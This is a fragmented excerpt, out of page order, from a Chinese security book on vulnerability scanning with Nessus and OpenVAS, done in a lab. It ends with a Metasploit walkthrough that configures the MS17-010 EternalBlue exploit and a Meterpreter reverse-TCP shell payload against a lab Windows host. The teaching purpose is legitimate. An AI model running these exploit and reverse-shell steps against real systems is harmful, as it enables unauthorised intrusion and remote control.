激活账户链接 （5）该链接用于激活Shodan账户。单击该链接，将显示如图B.5所示的页面。 图B.5 账户激活成功提示 （6）通过页面提示信息可以看到，账户已成功被激活。此时，在该页面中输入刚才注册的账户和密码登录Shodan网站，即可看到账户的API Key值，如图B.6所示。 图B.6 获取的API Key值 未知 B.2 注册ZETAlytics账户 当我们安装由ZETAlytics提供的Transform时，也需要提供一个API值。所以，需要注册一个账号，才可以获取到其API值。下面介绍注册ZETAlytics账户的方法。 【实例B-2】注册ZETAlytics账户，并获取API Key。具体操作步骤如下： （1）打开ZETAlytics网站的账号注册界面。地址如下： https://zetalytics.auth0.com/login?client=b4wWwxE0Ot9hAIvH4BrpKLfdujLJs1C1 。 当在浏览器中输入该地址后，将显示如图B.7所示的页面。 图B.7 ZETAlytics账户注册页面 （2）指定一个邮箱地址，单击SUBMIT按钮，将显示如图B.8所示的页面。 图B.8 输入验证码 （3）此时需要在页面中输入一个验证码。该验证码会发送到第（2）步所指定的邮箱中，如图B.9所示。 图B.9 获取到的验证码 （4）将邮箱中收到的验证码输入图B.8所示页面中，单击SUBMIT按钮，即可获取到一个API Key，如图B.10所示。 图B.10 获取到的API Key （5）从图B.10中可以看到，成功获取到了一个API Key值。 Cover"},
    {"text": "未知 前言 随着IT技术的发展，各种软件、硬件成为人们日常生活、工作的必备工具，如手机、计算机、支付宝和微信等。如果用户使用方式不正确或者软硬件自身存在缺陷，就会形成各种漏洞。这些漏洞一旦被黑客利用，轻则会造成用户信息泄露，重则会造成软硬件无法工作，甚至会成为黑客攻击其他人的帮凶，引起法律纠纷。 为了避免这些风险，安全人员和维护人员必须定期进行漏洞扫描，以及时发现漏洞，并进行修复。由于漏洞发现和公开没有规律，同时漏洞数量众多，漏洞扫描成为一个枯燥和烦琐的工作。为了解决这个问题，人们开发了批量漏洞扫描专业工具。 Nessus和OpenVAS是业内知名的漏洞扫描专业工具。其中，Nessus是商业化软件，可以在各个平台下运行；OpenVAS是开源漏洞扫描工具，供用户免费使用。它们内置了强大的漏洞扫描插件，可以发现数以万计的各类漏洞。同时，这些扫描插件都支持在线更新，以发现最新出现的各类漏洞。 本书基于Nessus和OpenVAS两款工具，从渗透测试的角度讲解如何进行漏洞扫描，从而发现漏洞，并分析漏洞。为了便于读者理解，本书在讲解过程中贯穿了大量的操作实例，以帮助读者更为直观地掌握各章节的内容。 本书有何特色 1.内容可操作性强 本书基于Nessus和OpenVAS两款专业软件讲解漏洞扫描。全书内容围绕漏洞扫描流程展开，详细讲解各个环节所涉及的每个操作步骤。为了便于读者操作，第2章讲解了如何创建目标靶机，作为后续漏洞扫描的目标。 2.由浅入深，容易上手 作为功能强大的漏洞扫描工具，Nessus和OpenVAS提供了多个扫描模板和大量的功能选项。为了方便读者掌握这些选项设置，本书按照由浅入深的方式，合理安排扫描模板的讲解顺序，并将功能选项进行拆分，以帮助读者快速上手。 3.充分讲解漏洞扫描的流程 漏洞扫描涉及4个环节，分别为确立目标、选择扫描模板、实施扫描和分析报告。针对Nessus和OpenVAS软件，本书均按照该流程，详细讲解每个工具的实施方式。这样可以帮助读者培养正确的操作顺序，并掌握漏洞扫描的理念。 4.提供完善的技术支持和售后服务 本书提供了QQ群（343867787）和论坛（bbs.daxueba.net）供读者交流和讨论学习中遇到的各种问题。读者还可以关注微博账号（@大学霸IT达人），获取图书更新信息及技术文章。同时，本书还提供了专门的售后服务邮箱 hzbook2017@163.com 。读者在阅读本书的过程中若有疑问，可以通过这些方式获得帮助。 本书内容 第1篇 漏洞扫描概述（第1、2章） 本篇主要介绍了漏洞扫描的准备工作，包括漏洞扫描方式、扫描流程、Nessus的工作方式、OpenVAS的架构、安装VMware Workstation和准备目标靶机等。 第2篇 Nessus漏洞扫描（第3～9章） 本篇主要介绍了如何使用Nessus实施漏洞扫描，包括安装和配置Nessus、主机发现、漏洞扫描、专项扫描、特定漏洞扫描、自定义扫描任务模板和导出/利用扫描报告。 第3篇 OpenVAS漏洞扫描（第10～16章） 本篇主要介绍了如何使用OpenVAS实施漏洞扫描，包括安装和配置OpenVAS、准备工作信息收集、通用模板扫描、生成报告、资产管理和高级维护。 本书配套资源获取方式 本书涉及的工具和软件需要读者自行下载。下载途径有以下几种： ·根据书中对应章节给出的网址自行下载； ·加入本书QQ群获取； ·访问论坛bbs.daxueba.net获取； ·登录华章公司网站 www.hzbook.com ，在该网站上搜索到本书，然后单击“资料下载”按钮，即可在页面上找到配书资源下载链接。 内容更新文档获取方式 为了让本书内容紧跟技术的发展和软件更新，我们会对书中的相关内容进行不定期更新，并发布对应的电子文档。需要的读者可以加入本书QQ交流群获取，也可以通过华章公司网站上的本书配套资源链接下载。 本书读者对象 ·渗透测试技术人员； ·网络安全和维护人员； ·信息安全技术爱好者； ·计算机安全的自学者； ·高校相关专业的学生； ·专业培训机构的学员。 本书阅读建议 ·Nessus更新较为频繁，为了获得最新的功能，建议读者按照3.2.2节所讲的方法及时更新软件。 ·Nessus和OpenVAS部分组件的扫描操作可能会引起防火墙报警。在学习时，一定要在实验环境中进行，避免影响正常工作。 ·由于扫描的目标不同，生成的报告会有所差异，阅读扫描报告时，注意区分不同。 ·在实验过程中，建议了解相关法律，避免侵犯他人权益，触犯法律。 本书作者 本书由大学霸IT达人团队编写。感谢在本书编写和出版过程中给予笔者大量帮助的各位编辑！由于作者水平所限，加之写作时间较为仓促，书中可能还存在一些疏漏和不足之处，敬请各位读者批评指正。 未知 第1篇 漏洞扫描概述 ·第1章 漏洞扫描基础知识 ·第2章 准备目标"},
    {"text": "未知 1.3.1 什么是OpenVAS OpenVAS是一款开放式的漏洞评估工具，主要用来检测目标网络或主机的安全性。该工具基于C/S（客户端/服务器）、B/S（浏览器/服务器）架构进行工作，用户通过浏览器或者专用客户端程序来下达扫描任务，服务器端负责授权，执行扫描操作并提供扫描结果。 OpenVAS最初被命名为GNessUs，作为以前开源的Nessus扫描工具的一个分支。在2005年10月，Nessus的开发人员Tenable Network Security将其更改为专有（封闭源代码）许可。OpenVAS最初是由SecuritySpace网站的渗透测试者提出的，经过与Portcullis Computer Security公司的渗透测试者讨论，最后由Tim Brown在Slashdot网站宣布OpenVAS是Software in the Public Interest（SPI）组织的一个成员项目。 未知 8.3 自定义数据库扫描策略 在Nessus扫描策略模板中，默认没有提供数据库扫描策略。为了方便对数据库实施扫描，用户可以自定义一个数据库扫描策略。本节将介绍自定义数据库扫描策略的方法。 未知 8.3.1 认证信息 如果用户要扫描数据库，则需要提供其认证信息。在策略设置界面，选择Credentials选项卡，打开认证信息设置界面，然后选择Database认证种类，将显示数据库认证模块列表，如图8.17所示。 图8.17 数据库认证模块列表 从该界面可以看到，包括Database和MongoDB两种认证数据库模块。下面将分别介绍这两种数据库认证信息的设置方法。 1.Database 这里的Database可以设置常见的一些数据库认证信息，如Oracle、PostgreSQL、MySQL等。在数据库认证模块下拉列表中，选择Database选项，将显示数据库设置界面，如图8.18所示。 该界面显示了Oracle数据库的配置选项。下面对每个选项及含义进行介绍。 ·Database Type：指定数据库类型。其中，支持的数据库有Oracle、PostgreSQL、DB2、MySQL、SQL Server和Sybase ASE。 ·Auth Type：指定数据库的认证类型。 ·Username：指定认证用户名。 ·Password：指定认证密码。 ·Database Port：指定数据库端口。 ·Auth type：指定认证类型。 ·Service type：指定服务类型。 ·Service：指定服务名。 图8.18 设置数据库认证信息 需要注意的是，不同数据库类型支持的配置选项也不同。例如，下面配置一个MySQL数据库认证信息，设置结果如图8.19所示。 图8.19 MySQL数据库认证信息 从图8.19所示界面可以看到，设置的数据库类型为MySQL、认证类型为Password、端口为3306。单击Save按钮，则认证信息添加成功。 2.MongoDB MongoDB是一个基于分布式文件存储的数据库。在数据库认证模块下拉列表中，选择MongoDB选项，将显示该数据库认证信息设置界面，如图8.20所示。 图8.20 配置MongoDB数据库认证信息 从图8.20所示界面可以看到，包括4个配置选项。下面对每个配置选项的含义进行介绍。 ·Username：指定数据库的认证用户。 ·Password：指定认证密码。 ·Database：指定数据库名。 ·Port：指定数据库监听端口。 未知 8.3.2 添加数据库插件 用户还可以自定义添加数据库插件。在策略设置界面选择Plugins选项卡，将显示插件管理界面，如图8.21所示。 图8.21 插件管理界面 从图8.21所示界面可以看到所有的插件。在左侧列表中，选择插件名为Databases的插件族，将在右侧显示该插件族中的所有插件，如图8.22所示。 图8.22 添加数据库插件 从左侧列表中可以看到，Databases插件族共包括654个插件。在右侧列表中，显示了所有的数据库插件，如MySQL、Oracle、PostgreSQL等。此时，用户可以根据自己的目标数据库类型，选择启用对应的数据库插件，无关的数据库插件可以禁用。 未知 8.3.3 指定特定端口 用户在扫描数据库时，还可以指定特定端口，以节约扫描时间，提高扫描效率。对于数据库服务，都有固定的端口。例如，MySQL数据库服务的默认端口为3306，Oracle数据库服务的默认端口为1521。下面将介绍指定特定端口的方法。 在策略设置界面，依次选择DISCOVERY|Port Scanning选项，将打开端口扫描界面，如图8.23所示。 在该界面中的Ports部分，选中Consider unscanned ports as closed复选框，然后在Port scan range文本框中指定扫描的数据库服务端口。例如，指定扫描MySQL数据库服务，则设置效果如图8.24所示。 图8.23 指定特定端口 图8.24 设置效果 未知 8.4 自定义明文认证服务扫描策略 明文认证服务是指明文传输数据的服务，如FTP、HTTP、TELNET等。对于扫描这些服务，用户也可以自定义对应的扫描策略。本节将介绍自定义明文认证服务扫描策略的方法。 未知 8.4.1 认证信息 如果要访问服务器，则必须进行认证，所以这里需要添加认证信息。在策略设置界面，选择Credentials选项卡，并选择Plaintext Authentication认证种类，将显示明文认证模块列表，如图8.25所示。 图8.25 明文认证模块列表 从图8.25所示界面的认证列表中可以看到所有可以定义的明文认证服务模块，如FTP、HTTP、IMAP等。例如，这里选择添加FTP服务认证信息。单击FTP选项，将显示FTP服务认证设置界面，如图8.26所示。 该界面提供了两个配置选项，分别是Username和Password。其中，Username用来指定用户名；Password用来指定密码。设置完成后，单击Save按钮保存。 图8.26 FTP服务认证设置界面"},
    {"text": "未知 8.4.2 添加明文认证服务插件 对于特定明文认证服务进行扫描，则可以根据扫描的服务来添加对应的服务扫描插件。在策略设置界面，选择Plugins选项卡，打开插件管理界面，如图8.27所示。 在左侧列表中选择明文认证服务的插件族名称。例如，选择FTP插件族，将在右侧列表中显示所有的插件名，如图8.28所示。 在右侧列表中显示了所有的FTP服务扫描插件，并且所有的扫描插件默认都已启用。如果用户不需要使用某个插件，单击禁用该插件即可。 图8.27 插件管理界面 图8.28 FTP服务扫描插件 未知 8.4.3 指定特定端口 对于这些明文认证服务也都有固定的端口，如FTP服务端口为21、HTTP服务端口为80。此时，用户则可以指定扫描的服务端口。在策略设置界面，依次选择DISCOVERY|Port Scanning选项，将显示端口扫描设置界面，如图8.29所示。 图8.29 端口扫描设置界面 在该界面中的Ports部分，选中Consider unscanned ports as closed复选框，并在Port scan range文本框中指定扫描的服务端口。例如，指定扫描FTP服务的端口，则设置效果如图8.30所示。 图8.30 扫描FTP服务 未知 8.5 自定义云服务认证扫描策略 在Nessus中，默认提供有云服务扫描策略，但家庭版的Nessus无法使用这些模板。如果用户需要扫描云服务，则需要自定义其扫描策略。本节将介绍自定义云服务认证扫描策略的方法。 未知 8.5.1 认证信息 如果用户要扫描云服务，也需要提供对应的认证信息。在Nessus中，默认提供了几个扫描云服务的认证模块。选择Credentials选项卡，并选择Cloud Services认证种类，将显示云服务认证模块列表，如图8.31所示。 图8.31 云服务认证模块列表 从图8.31所示界面可以看到包括5个云服务认证模块，如Amazon AWS、Microsoft Azure、Office 365等。例如，这里选择添加Microsoft Azure云服务认证模块，则单击Microsoft Azure选项，将显示Microsoft Azure云服务认证设置界面，如图8.32所示。 图8.32 Microsoft Azure云服务认证设置界面 从图8.32所示界面可以看到，包括Microsoft Azure云服务认证信息和Global Credential Settings（全局认证设置）两部分设置。下面对每个选项及含义进行介绍。 ·Username：指定认证的用户名。 ·Password：指定认证密码。 ·Client Id：指定客户端ID。 ·Subscription IDs：指定订阅ID。 未知 1.3.2 OpenVAS的架构 一套完整的OpenVAS系统包括服务器端和客户端的多个组件，其架构如图1.3所示。 下面介绍服务器端和客户端分别所需安装的组件。 1.服务器端组件（建议都安装） ·OpenVAS-Scanner（扫描器）：负责调用各种漏洞检测插件，完成实际的扫描操作。 ·OpenVAS-Manager（管理器）：负责分配扫描任务，并根据扫描结果生成评估报告。 ·OpenVAS-Administrator（管理者）：负责管理配置信息、用户授权等相关工作。 2.客户端组件（任选其一即可） ·OpenVAS-CLI（命令行接口）：负责提供从命令行访问OpenVAS服务器端程序。 ·Greenbone-Security-Assistant（安装助手）：负责提供访问OpenVAS服务器端的Web接口，便于通过浏览器来建立扫描任务，是使用最简便的客户端组件。 ·Greenbone-Desktop-Suite（桌面套件）：负责提供访问OpenVAS服务器端的图形程序界面，主要运行在Windows客户机中。 图1.3 OpenVAS的架构 提示： OpenVAS服务器端仅支持安装在Linux操作系统中，但是客户端安装在Windows和Linux系统中均可。 在kindle搜索B089Y82SSX可直接购买阅读 未知 8.5.2 添加云服务插件 如果仅扫描云服务，则可以根据选择扫描的云服务，添加对应的扫描插件。同样，在策略设置界面，选择Plugins选项卡，打开插件管理界面，然后根据需要选择启用对应的插件族及插件。例如，Microsoft Azure云服务属于Windows系统，则可以启用一些Windows系统相关的插件进行扫描，如图8.33所示。 图8.33 插件管理界面 从左侧的插件列表中可以看到，针对Windows系统的插件族有Windows、Windows:Microsoft Bulletins和Windows:User management。此时，用户便可以选择启用一些相关的插件来实施扫描。 在kindle搜索B089Y82SSX可直接购买阅读 未知 第9章 导出和利用扫描报告 前面章节详细地介绍了使用Nessus工具实施扫描的方法。接下来就可以对扫描结果进行详细分析，并找出存在漏洞的主机。对于渗透测试者来说，可以对存在漏洞的主机进行渗透攻击。为了方便用户分析，Nessus还支持将扫描结果生成不同文件格式的报告，而且用户还可以直接利用扫描报告中的漏洞实施渗透测试。本章将介绍导出和利用扫描报告的方法。"},
    {"text": "未知 9.1 导出任务 在Nessus中，用户可以导出任务为Nessus或者Nessus DB格式，而且还可以在其他计算机的Nessus上打开。本节将介绍导出任务及打开任务的方法。 1.导出任务 下面介绍导出扫描任务的方法。 【实例9-1】 在Linux中，导出Nessus格式的扫描任务。操作步骤如下： （1）在Nessus服务中，打开扫描结果界面，如图9.1所示。 图9.1 扫描结果界面 （2）单击右上角的Export按钮，在下拉列表中可以看到支持的格式有Nessus和Nessus DB。这里将导出为Nessus格式，所以选择Nessus选项，弹出保存扫描任务对话框，如图9.2所示。 图9.2 保存扫描任务 （3）在该对话框中选中Save File单选按钮，并单击OK按钮，即可成功导出该扫描任务。其中，导出的扫描任务文件名为Network_Scan_c0qwxo.nessus。 2.打开扫描任务 用户导出的扫描任务可以被导入到其他计算机的Nessus中。 【实例9-2】 在Windows计算机中打开从Linux中导出的Nessus扫描任务。操作步骤如下： （1）将导出的扫描任务从Linux中复制到Windows计算机，这里将复制到C盘根目录。 （2）在Windows计算机中访问Nessus服务。成功访问后，将显示扫描任务列表界面，如图9.3所示。 图9.3 扫描任务列表界面 （3）从扫描任务列表界面中可以看到，目前没有任何扫描任务。单击Import按钮，将弹出“打开”对话框，如图9.4所示。 图9.4 “打开”对话框 （4）在当前计算机的C盘根目录下，选择将要导入的扫描任务Network_Scan_c0qwxo.nessus，并单击“打开”按钮，即可成功将扫描任务导入到当前的Nessus扫描任务列表中，如图9.5所示。 图9.5 成功导入扫描任务 （5）从导入界面可以看到，成功导入了扫描任务，名称为Network Scan。单击该扫描任务，即可查看其扫描结果，如图9.6所示。 图9.6 扫描结果 （6）此时，用户即可分析该扫描任务中所有主机的漏洞信息 未知 9.2 导出扫描结果 Nessus工具支持用户将扫描结果生成报告，或者导出到数据库文件，这样用户分析起来会更加方便。其中，Nessus支持生成的报告格式包括PDF、HTML和CSV三种，而且不管使用哪种扫描模板，导出的内容都是相同的。本节将介绍导出扫描结果的方法。 【实例9-3】 将扫描结果生成HTML格式的报告。具体操作步骤如下： （1）登录Nessus服务，并打开扫描结果页面，如图9.7所示。 图9.7 Nessus扫描结果界面 （2）在图9.7所示界面中单击Report按钮，将弹出一个下拉列表，如图9.7所示。该下拉列表中的选项表示生成报告的格式，包括PDF、HTML和CSV三种。这里选择导出报告格式为HTML，所以选择HTML选项，将弹出如图9.8所示的对话框。 （3）从该对话框可以看到，默认导出的报告内容为综合摘要信息。Nessus还支持自定义导出的内容，在Report下拉列表框中选择Custom选项，将显示如图9.9所示的界面。 （4）从该界面可以看到，增加了三部分选项，分别是Data、Group Vulnerabilities By和Vulnerabilities Details。其中，Data表示导出的内容，即漏洞信息（Vulnerabilities）和Remediations（补救措施）；Group Vulnerabilities By的意思是漏洞分组依据，即导出的文件内容按照哪种方式显示，这里可选择的方式有Host（主机）和Plugin（插件）两种；Vulnerabilities Details用于选择导出的漏洞相关信息，如Synopsis、Description、See Also等，默认将导出所有的漏洞信息。如果用户不希望导出某个漏洞相关信息，取消选中相应的复选框即可。所以，用户可以根据自己的需要导出相应的内容。例如，这里设置导出的所有内容按照Host方式分组，设置完成后，单击Export按钮将开始导出生成的报告。 图9.8 导出报告 图9.9 自定义导出内容 （5）当该扫描报告导出成功后，即可进行查看。本例中报告的显示界面如图9.10所示。 图9.10 Host分组方式 （6）从图9.10所示界面可以看到，该文件中的漏洞信息是按照Host（主机）方式分组的。简单地说，就是一个文件的目录。用户单击任何一个主机的IP地址，将会自动跳转到该主机的漏洞信息处。用户也可以选择按照Plugin（插件）方式进行分组，此时打开的文件内容，显示界面如图9.11所示。 图9.11 Plugin分组方式 （7）从图9.11所示界面可以看到，漏洞信息是按照插件（Plugin）方式进行分组的。用户单击任何一个插件，即可查看该插件对应的漏洞信息。 提示： 用户可以使用以上方法，生成其他格式的扫描报告。 未知 9.3 利用扫描报告 用户从Nessus中导出的扫描结果，可以导入到其他工具中进行利用。例如，导入到Metasploit框架、导入到APT2等。本节将介绍利用Nessus扫描报告的方法。"},
    {"text": "1.使用db_import命令 db_import命令的语法格式如下： db_import <filename> [file2...] 以上语法中的<filename>，是指导入的扫描报告文件。 其中，支持导入的文件类型如下： ·Acunetix ·Amap Log ·Amap Log-m ·Appscan ·Burp Session XML ·Burp Issue XML ·CI ·Foundstone ·FusionVM XML ·Group Policy Preferences Credentials ·IP Address List ·IP360 ASPL ·IP360 XML v3 ·Libpcap Packet Capture ·Masscan XML ·Metasploit PWDump Export ·Metasploit XML ·Metasploit Zip Export ·Microsoft Baseline Security Analyzer ·NeXpose Simple XML ·NeXpose XML Report ·Nessus NBE Report ·Nessus XML(v1) ·Nessus XML(v2) ·NetSparker XML ·Nikto XML ·Nmap XML ·OpenVAS Report ·OpenVAS XML ·Outpost24 XML ·Qualys Asset XML ·Qualys Scan XML ·Retina XML ·Spiceworks CSV Export ·Wapiti XML 从以上列表中可以看到，db_import命令支持导入Nessus XML(v1)和Nessus XML(v2)报告格式。"},
    {"text": "所以，这里用户需要导出Nessus格式的扫描报告。 在扫描报告界面，单击Export按钮，选择Nessus格式，如图9.12所示。 选择Nessus选项后，将弹出保存文件对话框，如图9.13所示。 图9.12 选择导出报告格式 图9.13 保存文件对话框 选中Save File单选按钮，并单击OK按钮，即可成功导出扫描任务报告。"},
    {"text": "执行命令如下： root@daxueba:~# msfconsole _ _ / \\ /\\ __ _ __ /_/ __ | |\\ / | _____ \\ \\ ___ _____ | | / \\ _ \\ \\ | | \\/| | | ___\\ |- -| /\\ / __\\ | -__/ | || | || | |- -| |_| | | | _|__ | |_ / -\\ __\\ \\ | | | | \\__/| | | |_ |/ |____/ \\___\\/ /\\ \\\\___/ \\/ \\__| |_\\ \\___\\ =[ metasploit v5.0.53-dev ] + -- --=[ 1931 exploits - 1079 auxiliary - 331 post ] + -- --=[ 556 payloads - 45 encoders - 10 nops ] + -- --=[ 7 evasion ] msf5 > “msf5>”提示符表示成功启动了MSF终端。"},
    {"text": "（2）导入扫描任务报告test.nessus。 执行命令如下： msf5 > db_import /test.nessus [*] Importing 'Nessus XML (v2)' data [*] Importing host 192.168.198.254 [*] Importing host 192.168.198.140 [*] Importing host 192.168.198.139 [*] Importing host 192.168.198.138 [*] Importing host 192.168.198.133 [*] Importing host 192.168.198.2 [*] Importing host 192.168.198.1 [*] Successfully imported /test.nessus 从输出的信息可以看到，成功导入了扫描任务报告test.nessus；"},
    {"text": "执行命令如下： msf5 > hosts Hosts ===== address mac name os_name os_flavor os_sp ------- --- ---- ------- --------- purpose info comments ------- ---- -------- 192.168. 00:50:56: 192.168. Unknown device 198.1 c0:00:08 198.1 192.168. 00:50:56: 192.168. Unknown device 198.2 f0:39:38 198.2 192.168. 00:0c:29: 192.168. Linux 2.6.24-16-server server 198.133 f7:dd:c3 198.133 192.168. 00:0c:29: 192.168. Linux 5.2.0 server 198.138 0c:6c:e4 198.138 192.168. 00:0c:29: 192.168. Windows 7 client 198.139 f2:19:f4 198.139 192.168. 00:0c:29: 192.168. Linux 2.6 server 198.140 2e:25:d9 198.140 192.168. 00:50:56: 192.168. Unknown device 198.254 f4:6f:91 198.254 从输出的信息可以看到目标主机的IP地址、MAC地址、主机名及操作系统类型等，用户根据目标主机的漏洞信息，即可选择对应的漏洞模块来利用其漏洞实施渗透。"},
    {"text": "执行命令如下： msf5 > vulns Vulnerabilities =============== Timestamp Host Name --------- ---- ------ References ------------------------- 2019-11-0213:35:03UTC 192.168.198.1 DCE Services Enumeration NSS-10736 2019-11-02 13:35:03UTC 192.168.198.1 Microsoft Windows SMB Service Detection NSS-11011 2019-11-02 13:35:03 UTC 192.168.198.1 Microsoft Windows SMB Service Detection NSS-11011 2019-11-0214:45:59 UTC 192.168.198.139 TLS Version 1.1 Protocol Detection NSS-121010 2019-11-0214:46:01 UTC 192.168.198.138 RPC portmapper (TCP) NSS-53335 2019-11-0214:46:01 UTC 192.168.198.138 RPC Services Enumeration NSS-11111 2019-11-0214:46:01 UTC 192.168.198.138 RPC Services Enumeration NSS-11111 2019-11-0214:46:01 UTC 192.168.198.138 RPC portmapper Service Detection CVE-1999-0632,NSS-10223NSS-110723 2019-11-02 13:34:16 UTC 192.168.198.139 MS14-066: Vulnerability in Schannel Could Allow Remote Code Execution (2992611) (uncredentialed check) CVE-2014-6321,BID-70954,CERT-505120,MSFT-MS14- 066,MSKB-2992611,NSS-79638 2019-11-02 13:34:16 UTC 192.168.198.139 MS12-020: Vulnerabilities in Remote Desktop Could Allow Remote Code Execution (2671387) (uncredentialed check) CVE-2012-0002,CVE-2012-0152,BID-52353,BID-52354, EDB-ID-18606,MSFT-MS12-020,IAVA-2012-A-0039,MSKB- 2621440,MSKB-2667402,MSF-MS12-020 Microsoft Remote Desktop Checker,NSS-58435 2019-11-02 13:34:16 UTC 192.168.198.139 MS16-047: Security Update for SAM and LSAD Remote Protocols (3148527) (Badlock) (uncredentialed check) CVE-2016-0128,BID-86002,MSFT-MS16-047,CERT-81329 6,IAVA-2016-A-0093,MSKB-3148527,MSKB-3149090, MSKB-3147461,MSKB-3147458,NSS-90510 2019-11-02 13:34:17 UTC 192.168.198.139 Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness CVE-2005-1794,BID-13818,NSS-18405 2019-11-02 13:34:17 UTC 192.168.198.139 Terminal Services Encryption Level is not FIPS-140 Compliant NSS-30218 2019-11-02 13:34:17 UTC 192.168.198.139 Terminal Services Encryption Level is Medium or Low NSS-57690 2019-11-02 13:34:17 UTC 192.168.198.139 Terminal Services Doesn't Use Network Level Authentication (NLA) Only NSS-58453 2019-11-02 13:34:17 UTC 192.168.198.139 Microsoft RDP RCE (CVE-2019-0708) (BlueKeep) (uncredentialed check) CVE-2019-0708,BID-108273,MSF-CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free,NSS-125313 2019-11-02 13:34:17 UTC 192.168.198.139 MS17-010: Security Update for Microsoft Windows SMB Server (4013389)(ETERNALBLUE) (ETERNALCHAMPION)(ETERNALROMANCE) (ETERNALSYNERGY)(WannaCry) (EternalRocks) (Petya) (uncredentialed check) CVE-2017-0143,CVE-2017-0144,CVE-2017-0145,CVE-20 17-0146,CVE-2017-0147,CVE-2017-0148,BID-96703, BID-96704,BID-96705,BID-96706,BID-96707,BID-96709, EDB-ID-41891,EDB-ID-41987,MSFT-MS17-010,IAVA-2017- A-0065,MSKB-4012212,MSKB-4012213,MSKB-4012214, MSKB-4012215,MSKB-4012216,MSKB-4012217,MSKB- 4012606,MSKB-4013198,MSKB-4013429,MSKB-4012598, MSF-MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption,NSS-97833 从输出的信息可以看到，导入的扫描报告中主机的所有漏洞信息。"},
    {"text": "通过加载Nessus插件，可以利用提供的命令来连接Nessus服务、扫描漏洞、导入报告等。 下面将介绍使用Nessus插件导入扫描报告的方法。 【实例9-5】 使用Nessus插件，导入Nessus扫描报告。 操作步骤如下： （1）加载Nessus插件。 执行命令如下： msf5 > load nessus [*] Nessus Bridge for Metasploit [*] Type nessus_help for a command listing [*] Successfully loaded plugin: Nessus 从输出的信息可以看到成功加载了Nessus插件。 此时，用户使用nessus_help命令即可查看Nessus插件支持的所有命令。 （2）使用nessus_connect命令连接Nessus服务器，语法格式如下： nessus_connect username:password@服务器IP地址:8834 以上语法中，参数username表示登录Nessus服务器的用户名； password表示登录Nessus服务器用户的密码； “@服务器IP地址:8834”表示指定Nessus服务器的IP地址； 8834是Nessus服务默认监听的端口。 本例中，Nessus服务器的IP地址为192.168.198.138，用户名为admin，密码为123456。 所以执行命令如下： msf5 > nessus_connect admin:123456@192.168.198.138:8834 [*] Connecting to https://192.168.198.138:8834/ as admin [*] User admin authenticated successfully. 从输出的信息可以看到认证成功，即成功连接到Nessus服务器。"},
    {"text": "执行命令如下： msf5 > nessus_scan_list Scan ID Name Owner Started Status Folder ------- ---- ----- ------- ------ ------ 12 Network Scan admin completed 3 输出信息共显示了6列，分别是Scan ID（扫描ID）、Name（扫描名称）、Owner（所有者）、Started（启动时间）、Status（状态）和Folder（扫描配置目录ID）。"},
    {"text": "执行命令如下： msf5 > nessus_db_import 12 [*] Exporting scan ID 12 is Nessus format... [+] The export file ID for scan ID 12 is 178619001 [*] Checking export status... [*] Export status: loading [*] Export status: loading [*] Export status: ready [*] The status of scan ID 12 export is ready [*] Importing scan results to the database... [*] Importing data of 192.168.198.254 [*] Importing data of 192.168.198.140 [*] Importing data of 192.168.198.139 [*] Importing data of 192.168.198.138 [*] Importing data of 192.168.198.133 [*] Importing data of 192.168.198.2 [*] Importing data of 192.168.198.1 [+] Done 看到以上输出信息，则表示导入扫描报告完成。"},
    {"text": "下面将利用目标主机192.168.198.139中的MS17-010漏洞，对目标实施渗透测试。 【实例9-6】 利用MS17-010漏洞实施渗透测试。 操作步骤如下： （1）查看MS17-010漏洞的可利用模块。 执行命令如下： msf5 > search ms17-010 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/ 2017-03-14 normal Yes MS17-010 EternalRomance/ admin/smb/ EternalSynergy/ ms17_010_ EternalChampion SMB Remote command Windows Command Execution 1 auxiliary/ normal Yes MS17-010 SMB RCE Detection scanner/smb/ smb_ms17_010 2 exploit/ 2017-04-14 great Yes DOUBLEPULSAR Payload Execution windows/smb/ and Neutralization doublepulsar_rce 3 exploit/ 2017-03-14 average Yes MS17-010 EternalBlue SMB windows/smb/ Remote Windows Kernel Pool ms17_010_eternalblue Corruption 4 exploit/ 2017-03-14 average No MS17-010 EternalBlue SMB windows/smb/ Remote Windows Kernel Pool ms17_010_eternalblue_win8 Corruption for Win8+ 5 exploit/ 2017-03-14 normal Yes MS17-010 EternalRomance/ windows/smb/ EternalSynergy/ ms17_010_psexec EternalChampion SMB Remote Windows Code Execution 从输出的信息可以看到，找到了6个可使用的渗透测试模块。"},
    {"text": "通过分析描述信息，可知exploit/windows/smb/ms17_010_eternalblue是一个MS17_010漏洞利用模块，接下来将使用该模块对目标实施渗透测试。 （2）加载exploit/windows/smb/ms17_010_eternalblue模块。 执行命令如下： msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_ 010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > 看到以上输出信息，则表示成功加载了exploit/windows/smb/ms17_010_eternalblue模块。"},
    {"text": "（3）加载名为windows/x64/meterpreter/reverse_tcp的Payload，以获取Meterpreter会话。 执行命令如下： msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/ meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp 从输出的信息可以看到，成功加载了Payload。"},
    {"text": "执行命令如下： msf5 exploit(windows/smb/ms17_010_eternalblue) > show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs 从输出的信息可以看到所有的配置选项参数。"},
    {"text": "执行命令如下： #指定目标主机地址 msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.198.139 RHOSTS => 192.168.198.139 #指定本地主机地址 msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.198.138 LHOST => 192.168.198.138 从输出的信息可以看到，成功配置了必需的配置选项。"},
